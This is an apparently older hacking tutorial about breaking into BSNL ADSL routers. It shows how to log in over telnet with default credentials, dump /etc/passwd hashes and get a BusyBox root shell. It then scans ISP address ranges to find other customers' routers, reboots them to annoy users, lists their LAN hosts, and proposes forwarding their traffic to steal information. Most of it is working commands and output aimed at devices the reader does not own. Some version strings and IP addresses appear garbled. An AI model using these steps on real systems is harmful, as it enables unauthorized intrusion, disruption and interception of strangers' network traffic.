|Hacking BSNL Routers|
Note: This hack works on most new ADSL, ADSL2 , ADSL2 M routers.
In this article we are going to hack into router to learn more about it. You might not know that this small and innocent looking modem is actually a “Linux CPU.”
Let’s begin. First, do a nmap scan of this modem. Here is a quick example :
$ nmap 192.168.1.1 Starting Nmap 5.21 ( http://nmap.org ) at 2012-08-31 19:52 IST Nmap scan report for 192.168.1.1 Host is up (0.052s latency). Not shown: 997 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http 5431/tcp open park-agent Nmap done: 1 IP address (1 host up) scanned in 0.75 seconds
The http port is open and that is why we are able to access the administration page from http://192.168.1.1/
But apart from http, the telnet port is also open. Let’s try connecting to it.
$ telnet 192.168.1.1 Trying 192.168.1.1... Connected to 192.168.1.1. Escape character is '^]'. SemIndia Systems ADSL Router Login: admin Password: >
Wow! We are able to login into the telnet daemon of our router using the default username/password of admin/admin.
Next, type in the help command and hit enter. It will list the supported commands, similar to this
> help ? help logout reboot adsl atm brctl cat df dumpcfg echo ifconfig kill arp defaultgateway dhcpserver dns lan passwd ppp remoteaccess restoredefault route save swversion wan serialnum lan6 dhcp6c dns6 defaultgateway6 route6 ping ps pwd sntp sysinfo tftp >
Some of these are the common terminal commands on linux, like ps, pwd, ping and cat. Let’s see the current working directory using pwd.
> pwd / >
We are in the root directory of the file system. The command is not available. So, we have to use another trick to list the directories. And the trick is echo *
> echo * bin dev etc images lib linuxrc mnt proc sbin usr var webs >
Now those directories are found on any linux system like Ubuntu and Fedora.
Next, you might want to see the password file /etc/passwd. The cat command is available and can be used for this.
> cat /etc/passwd admin:7wfiFif6nh6VA:0:0:Administrator:/:/bin/sh support:MVMCoQ0jGR4Yo:0:0:Technical Support:/:/bin/sh user:MrYImHrIkIxRI:0:0:Normal User:/:/bin/sh nobody:685CCPc3VWsbs:0:0:nobody for ftp:/:/bin/sh >
That’s a linux password file.
The uname command is not available, so to get the linux kernel version and other details, use the following command:
> cat /proc/version Linux version 188.8.131.52 (firstname.lastname@example.org) (gcc version 3.4.2) #1 Wed Dec 16 08:35:56 IST 2009 >
That shows the linux kernel version and some extra details.
The above shell can be improved by running the sh command.
> sh BusyBox v1.00 (2009.12.16-03:08 0000) Built-in shell (msh) Enter 'help' for a list of built-in commands. #
Now we get a BusyBox shell. Once again we can type the help command to see what is available.
# help Built-in commands: ------------------- . : break cd continue eval exec exit export help login newgrp read readonly set shift times trap umask wait [ busybox cat chmod cp date dmesg echo expr false ftpget ifconfig init insmod kill killall klogd linuxrc ln logger logread mkdir mount msh ping ps pwd reboot rm rmmod route sendarp sh sleep sysinfo syslogd test tftp tftpd true tty umount vconfig #
This time we have a few additional commands available, like cd, mkdir, date, eval and exec.
A list of all possible commands that Busybox can have is available here.
The details about CPU and architecture can be found by using the following command
# cat /proc/cpuinfo system type : 96338L-2M-8M processor : 0 cpu model : BCM6338 V1.0 BogoMIPS : 239.20 wait instruction : no microsecond timers : yes tlb_entries : 32 extra interrupt vector : yes hardware watchpoint : no unaligned access : 1289794 VCED exceptions : not available VCEI exceptions : not available #
Its an MIPS based 32-bit processor. You can compile C programs for this platform using an mips compiler. Check http://developer.mips.com/tools/compilers/ for more information. Also check http://people.debian.org/~debacle/cross/.
# cat /proc/meminfo MemTotal: 5688 kB MemFree: 424 kB Buffers: 128 kB Cached: 1004 kB SwapCached: 0 kB Active: 2016 kB Inactive: 356 kB HighTotal: 0 kB HighFree: 0 kB LowTotal: 5688 kB LowFree: 424 kB SwapTotal: 0 kB SwapFree: 0 kB Dirty: 0 kB Writeback: 0 kB Mapped: 1764 kB Slab: 2284 kB Committed_AS: 5172 kB PageTables: 300 kB VmallocTotal: 1048560 kB VmallocUsed: 120 kB VmallocChunk: 1048400 kB #
The device seems to have around 6 MB of in-built memory.
There are many other files in the /proc directory that can be viewed to gather more information about the system.
# cd proc # echo * 1 10 123 17 191 2 274 275 276 290 3 378 395 4 43 49 5 548 549 6 611 612 7 8 9 accumem buddyinfo bus cmdline cpuinfo devices diskstats driver execdomains filesystems free_pagewalk fs interrupts iomem ioports irq kcore kmsg loadavg locks meminfo misc modules mounts mtd net nvram pagewalk partitions self slabinfo stat sys sysvipc tty uptime var version vmstat #
Try viewing other files and see what comes up.
Get current username
The whoami command is not available, so the echo command has to be used to find the current username and home directly.
# echo $USER root # echo $HOME / # echo $PATH /bin:/sbin:/usr/bin #
The var directory is writable. Files have to be created using the echo command.
# echo "ABCDEFGHIJKLMNOPQRSTUVWXYZ" >> /var/happy.txt # cat /var/happy.txt ABCDEFGHIJKLMNOPQRSTUVWXYZ #
Remote files can be downloaded onto the router as well. The ftpget command is available for this. The exact syntax can be found at http://www.busybox.net/downloads/BusyBox.html.
You could write and compile a C program and then upload it to this router.
Hacking remote routers
You can discover remote routers with a simple nmap command like this
$ sudo nmap --open -sS -sV -T4 184.108.40.206/24 -p 80 -oG - | grep 'open' # Nmap 5.21 scan initiated Sat Sep 1 11:53:58 2012 as: nmap --open -sS -sV -T4 -p 80 -oG - 220.127.116.11/24 Host: 18.104.22.168 () Ports: 80/open/tcp///// Host: 22.214.171.124 () Ports: 80/open/tcp//http//micro_httpd/ Host: 126.96.36.199 () Ports: 80/open/tcp//http//D-Link DSL-502T http config/ Host: 188.8.131.52 () Ports: 80/open/tcp//skype2//Skype/ Host: 184.108.40.206 () Ports: 80/open/tcp//http//Embedded Allegro RomPager webserver 4.07 UPnP|1.0 (ZyXEL ZyWALL 2)/ Host: 220.127.116.11 () Ports: 80/open/tcp//http//thttpd/ Host: 18.104.22.168 () Ports: 80/open/tcp//tcpwrapped/// Host: 22.214.171.124 () Ports: 80/open/tcp//skype2//Skype/ Host: 126.96.36.199 () Ports: 80/open/tcp//http//micro_httpd/ Host: 188.8.131.52 () Ports: 80/open/tcp//tcpwrapped/// Host: 184.108.40.206 () Ports: 80/open/tcp//tcpwrapped/// Host: 220.127.116.11 () Ports: 80/open/tcp//skype2//Skype/ Host: 18.104.22.168 () Ports: 80/open/tcp//skype2//Skype/ Host: 22.214.171.124 () Ports: 80/open/tcp//skype2//Skype/ Host: 126.96.36.199 () Ports: 80/open/tcp//http//SonicWALL firewall http config/ Host: 188.8.131.52 () Ports: 80/open/tcp//http//micro_httpd/ Host: 184.108.40.206 () Ports: 80/open/tcp//http//micro_httpd/ Host: 220.127.116.11 () Ports: 80/open/tcp//http//Linksys wireless-G WAP http config (Name DSL-N10)/ Host: 18.104.22.168 () Ports: 80/open/tcp//skype2//Skype/ Host: 22.214.171.124 () Ports: 80/open/tcp//http//Apache httpd 2.2.19/
This command scans all Bsnl broadband IPs to see which are alive and have port 80 open. Micro_httpd is most likely a SemIndia router with a BusyBox shell. The “Embedded Allegro RomPager” are Airtel, Binatone, and Beetel modems being used by Bsnl broadband users.
One way to irritate other users is to restart the remote router by issuing the reboot command in the telnet terminal.
Hack into the LAN
The arp command can be used on remote routers to list its LAN nodes or all the computers in its internal network. Its quite simple
> arp show IP address HW type Flags HW address Mask Device 192.168.1.216 0x1 0x2 ##:##:##:##:##:## * br0 192.168.1.33 0x1 0x2 ##:##:##:##:##:## * br0 >
The HW/mac address has been hidden for privacy purpose. Now the router tells us who is inside the network.
Note that that arp command shall not be available in the sh shell. It will only be available in the telnet session.
Any of the internal nodes can be pinged
> ping 192.168.1.216 PING 192.168.1.216 (192.168.1.216): 56 data bytes 56 bytes from 192.168.1.216: icmp_seq=0 ttl=128 time=60.0 ms 56 bytes from 192.168.1.216: icmp_seq=1 ttl=128 time=80.0 ms 56 bytes from 192.168.1.216: icmp_seq=2 ttl=128 time=0.0 ms 56 bytes from 192.168.1.216: icmp_seq=3 ttl=128 time=30.0 ms --- 192.168.1.216 ping statistics --- 4 packets transmitted, 4 packets received, 0% packet loss round-trip min/avg/max = 0.0/42.5/80.0 ms >
From here on it might be possible to do some advanced hacking. The insmod command is available, which can be used to load kernel modules.
Hackers would like to make a remote router forward a copy of all network traffic to their own machine so that information can be stolen. The iptables command is available and can be used to do this.
It would be a good idea to protect your own router from such hack attempts. This can be done by disabling remote logins to telnet, http, etc. Login into your configuration page and and find out how to do that.
This hacking technique is not just applicable to Bsnl routers. Other ISPs like airtelo use similar routers. It might be possible to try the same thing on them, you just need to scan the IP range.
The rest is up to your creativity. Research and find out what else can be done on such routers.